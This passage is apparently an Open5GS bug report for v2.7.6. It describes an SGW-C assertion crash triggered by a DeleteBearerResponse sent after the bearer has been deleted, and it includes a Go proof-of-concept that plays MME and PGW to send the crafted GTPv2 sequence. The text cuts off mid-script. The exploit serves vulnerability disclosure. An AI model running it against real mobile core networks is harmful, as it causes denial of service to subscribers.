| 説明 | ### Open5GS Release, Revision, or Tag
v2.7.6
### Steps to reproduce
### Description
SGW-C can be crashed by a crafted DeleteBearerResponse on S11 when the response references a bearer that is already deleted.
### Steps to reproduce
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
// PA2-002 PoC: DeleteBearerResponse after bearer deletion triggers ogs_assert(bearer)
// Target: Open5GS SGW-C sgwc_s11_handle_delete_bearer_response
// Flow:
// 1) Act as MME: send CreateSessionRequest to SGW-C (S11).
// 2) Act as PGW: respond to SGW-C's S5-C CreateSessionRequest.
// 3) Act as PGW: send DeleteBearerRequest to SGW-C (S5-C).
// 4) Act as MME: after receiving DeleteBearerRequest, send DeleteSessionRequest (S11) to delete bearer.
// 5) Act as MME: send DeleteBearerResponse with the stored sequence -> bearer lookup returns NULL -> assert.
package main
import (
"flag"
"fmt"
"log"
"math/rand"
"net"
"strings"
"time"
"github.com/wmnsk/go-gtp/gtpv2"
"github.com/wmnsk/go-gtp/gtpv2/ie"
"github.com/wmnsk/go-gtp/gtpv2/message"
)
type bearerReqInfo struct {
seq uint32
ebi uint8
}
type s5cInfo struct {
sgwTeid uint32
ebi uint8
}
func main() {
sgwcS11Addr := flag.String("sgwc-s11", "127.0.0.2:2123", "SGW-C S11 address")
sgwcS5cAddr := flag.String("sgwc-s5c", "127.0.0.2:2123", "SGW-C S5-C address")
mmeAddr := flag.String("mme", "127.0.0.1:2123", "Local MME bind address")
pgwAddr := flag.String("pgw", "127.0.0.4:2123", "Local PGW-C bind address")
imsi := flag.String("imsi", "001010000000001", "IMSI for CreateSessionRequest")
apn := flag.String("apn", "internet", "APN for CreateSessionRequest")
mcc := flag.String("mcc", "001", "Serving network MCC")
mnc := flag.String("mnc", "01", "Serving network MNC")
ebi := flag.Uint("ebi", 5, "Default EPS Bearer ID")
paa := flag.String("paa", "10.60.0.10", "PAA for CreateSessionResponse")
cleanupDelay := flag.Duration("cleanup-delay", 1200*time.Millisecond, "Delay after DeleteSessionRequest before sending DeleteBearerResponse")
waitTimeout := flag.Duration("wait-timeout", 6*time.Second, "Timeout for each wait step")
mmeTeid := flag.Uint("mme-teid", 0, "MME S11 TEID to advertise (0=random)")
pgwTeid := flag.Uint("pgw-teid", 0, "PGW S5-C TEID to advertise in CSR (0=random)")
flag.Parse()
rand.Seed(time.Now().UnixNano())
mmeIP, err := hostFromAddr(*mmeAddr)
if err != nil {
log.Fatalf("parse MME addr: %v", err)
}
pgwIP, err := hostFromAddr(*pgwAddr)
if err != nil {
log.Fatalf("parse PGW addr: %v", err)
}
log.Println("=== PA2-002 PoC: DeleteBearerResponse after bearer deletion ===")
log.Printf("SGW-C S11: %s", *sgwcS11Addr)
log.Printf("SGW-C S5C: %s", *sgwcS5cAddr)
log.Printf("MME: %s", *mmeAddr)
log.Printf("PGW: %s", *pgwAddr)
mmeConn := listenUDP(*mmeAddr, "MME")
defer mmeConn.Close()
pgwConn := listenUDP(*pgwAddr, "PGW")
defer pgwConn.Close()
sgwcS11Raddr, err := net.ResolveUDPAddr("udp", *sgwcS11Addr)
if err != nil {
log.Fatalf("resolve SGW-C S11 addr: %v", err)
}
sgwcS5cRaddr, err := net.ResolveUDPAddr("udp", *sgwcS5cAddr)
if err != nil {
log.Fatalf("resolve SGW-C S5C addr: %v", err)
}
sgwS11TeidCh := make(chan uint32, 1)
deleteReqCh := make(chan bearerReqInfo, 1)
sgwS5cCh := make(chan s5cInfo, 1)
mmeCtrlTeid := randNonZeroUint32(uint32(*mmeTeid))
pgwCtrlTeid := randNonZeroUint32(uint32(*pgwTeid))
go startMMEServer(mmeConn, sgwS11TeidCh, deleteReqCh)
go startPGWServer(pgwConn, pgwIP, *paa, pgwCtrlTeid, sgwS5cCh)
time.Sleep(500 * time.Millisecond)
log.Println("[1] Send CreateSessionRequest (MME -> SGW-C)")
if err := sendCreateSessionRequest(mmeConn, sgwcS11Raddr, *imsi, *apn, *mcc, *mnc, mmeIP, pgwIP, mmeCtrlTeid, pgwCtrlTeid, uint8(*ebi)); err != nil {
log.Fatalf("send CSR: %v", err)
}
sgwS11Teid := waitUint32("SGW S11 TEID", sgwS11TeidCh, *waitTimeout)
s5c := waitS5cInfo(sgwS5cCh, *waitTimeout)
log.Printf("[2] SGW S11 TEID=0x%x, SGW S5C TEID=0x%x, EBI=%d", sgwS11Teid, s5c.sgwTeid, s5c.ebi)
log.Println("[3] Send DeleteBearerRequest (PGW -> SGW-C)")
if err := sendDeleteBearerRequest(pgwConn, sgwcS5cRaddr, s5c.sgwTeid, s5c.ebi); err != nil {
log.Fatalf("send DeleteBearerRequest: %v", err)
}
deleteReq := waitBearerReq("DeleteBearerRequest", deleteReqCh, *waitTimeout)
log.Printf("[4] Got DeleteBearerRequest seq=0x%x ebi=%d", deleteReq.seq, deleteReq.ebi)
log.Println("[5] Send DeleteSessionRequest to remove bearer (MME -> SGW-C)")
if err := sendDeleteSessionRequest(mmeConn, sgwcS11Raddr, sgwS11Teid, s5c.ebi); err != nil {
log.Fatalf("send DeleteSessionRequest: %v", err)
}
time.Sleep(*cleanupDelay)
log.Println("[6] Send DeleteBearerResponse (MME -> SGW-C)")
if err := sendDeleteBearerResponse(mmeConn, sgwcS11Raddr, sgwS11Teid, deleteReq.seq, deleteReq.ebi); err != nil {
log.Fatalf("send DeleteBearerResponse: %v", err)
}
log.Println("[*] Sent DeleteBearerResponse. Expected: ogs_assert(bearer) crash in sgwc_s11_handle_delete_bearer_response.")
time.Sleep(2 * time.Second)
}
func startMMEServer(conn *net.UDPConn, sgwS11TeidCh chan<- uint32, deleteReqCh chan<- bearerReqInfo) {
log.Printf("[MME] Listening on %s", conn.LocalAddr())
buf := make([]byte, 4096)
for {
n, raddr, err := conn.ReadFromUDP(buf)
if err != nil {
log.Printf("[MME] read error: %v", err)
continue
}
msg, err := message.Parse(buf[:n])
if err != nil {
log.Printf("[MME] parse error: %v", err)
continue
}
switch m := msg.(type) {
case *message.CreateSessionResponse:
sgwTeid := uint32(0)
if m.SenderFTEIDC != nil {
if v, err := m.SenderFTEIDC.TEID(); err == nil {
sgwTeid = v
}
}
if sgwTeid != 0 {
select {
case sgwS11TeidCh <- sgwTeid:
default:
}
log.Printf("[MME] CreateSessionResponse from %s, SGW S11 TEID=0x%x", raddr, sgwTeid)
}
case *message.DeleteBearerRequest:
ebi := ebiFromDeleteBearerRequest(m, 5)
req := bearerReqInfo{seq: m.Sequence(), ebi: ebi}
select {
case deleteReqCh <- req:
default:
}
log.Printf("[MME] DeleteBearerRequest from %s seq=0x%x ebi=%d", raddr, req.seq, req.ebi)
default:
log.Printf("[MME] recv %s from %s", msg.MessageTypeName(), raddr)
}
}
}
func startPGWServer(conn *net.UDPConn, pgwIP, paa string, pgwCtrlTeid uint32, sgwS5cCh chan<- s5cInfo) {
log.Printf("[PGW] Listening on %s", conn.LocalAddr())
pgwUteid := randNonZeroUint32(0)
var sgwTeid uint32
buf := make([]byte, 4096)
for {
n, raddr, err := conn.ReadFromUDP(buf)
if err != nil {
log.Printf("[PGW] read error: %v", err)
continue
}
msg, err := message.Parse(buf[:n])
if err != nil {
log.Printf("[PGW] parse error: %v", err)
continue
}
switch m := msg.(type) {
case *message.CreateSessionRequest:
if m.SenderFTEIDC != nil {
if v, err := m.SenderFTEIDC.TEID(); err == nil {
sgwTeid = v
}
}
ebi := ebiFromCreateSessionRequest(m, 5)
select {
case sgwS5cCh <- s5cInfo{sgwTeid: sgwTeid, ebi: ebi}:
default:
}
resp := message.NewCreateSessionResponse(
sgwTeid, m.Sequence(),
ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil),
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, pgwCtrlTeid, pgwIP, "").WithInstance(1),
ie.NewPDNAddressAllocation(paa),
ie.NewAPNRestriction(gtpv2.APNRestrictionNoExistingContextsorRestriction),
ie.NewBearerContext(
ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil),
ie.NewEPSBearerID(ebi),
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPU, pgwUteid, pgwIP, "").WithInstance(2),
ie.NewBearerQoS(1, 9, 1, 1, 0, 0, 0, 0),
),
)
if err := sendMsg(conn, raddr, resp); err != nil {
log.Printf("[PGW] send CSRsp error: %v", err)
} else {
log.Printf("[PGW] CSRsp sent to %s (SGW TEID=0x%x, EBI=%d)", raddr, sgwTeid, ebi)
}
case *message.DeleteSessionRequest:
teid := sgwTeid
if teid == 0 && m.SenderFTEIDC != nil {
if v, err := m.SenderFTEIDC.TEID(); err == nil {
teid = v
}
}
resp := message.NewDeleteSessionResponse(
teid, m.Sequence(),
ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil),
)
if err := sendMsg(conn, raddr, resp); err != nil {
log.Printf("[PGW] send DSRsp error: %v", err)
} else {
log.Printf("[PGW] DSRsp sent to %s (SGW TEID=0x%x)", raddr, teid)
}
default:
log.Printf("[PGW] recv %s from %s", msg.MessageTypeName(), raddr)
}
}
}
func sendCreateSessionRequest(conn *net.UDPConn, raddr *net.UDPAddr, imsi, apn, mcc, mnc, mmeIP, pgwIP string, mmeTeid, pgwTeid uint32, ebi uint8) error {
senderFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11MMEGTPC, mmeTeid, mmeIP, "")
pgwFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, pgwTeid, pgwIP, "").WithInstance(1)
bearer := ie.NewBearerContext(
ie.NewEPSBearerID(ebi),
ie.NewBearerQoS(1, 9, 1, 1, 0, 0, 0, 0),
)
csr := message.NewCreateSessionRequest(
0, randSeq(),
ie.NewIMSI(imsi),
ie.NewMSISDN("818000000001"),
ie.NewMobileEquipmentIdentity("123456789012345"),
ie.NewServingNetwork(mcc, mnc),
ie.NewRATType(gtpv2.RATTypeEUTRAN),
ie.NewIndicationFromOctets(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00),
senderFTEID,
pgwFTEID,
ie.NewAccessPointName(apn),
ie.NewSelectionMode(gtpv2.SelectionModeMSorNetworkProvidedAPNSubscribedVerified),
ie.NewPDNType(gtpv2.PDNTypeIPv4),
ie.NewPDNAddressAllocation("x.x.x.x"),
ie.NewAPNRestriction(gtpv2.APNRestrictionNoExistingContextsorRestriction),
ie.NewAggregateMaximumBitRate(10000000, 10000000),
bearer,
)
payload, err := csr.Marshal()
if err != nil {
return fmt.Errorf("marshal CSR: %w", err)
}
if _, err := conn.WriteToUDP(payload, raddr); err |
|---|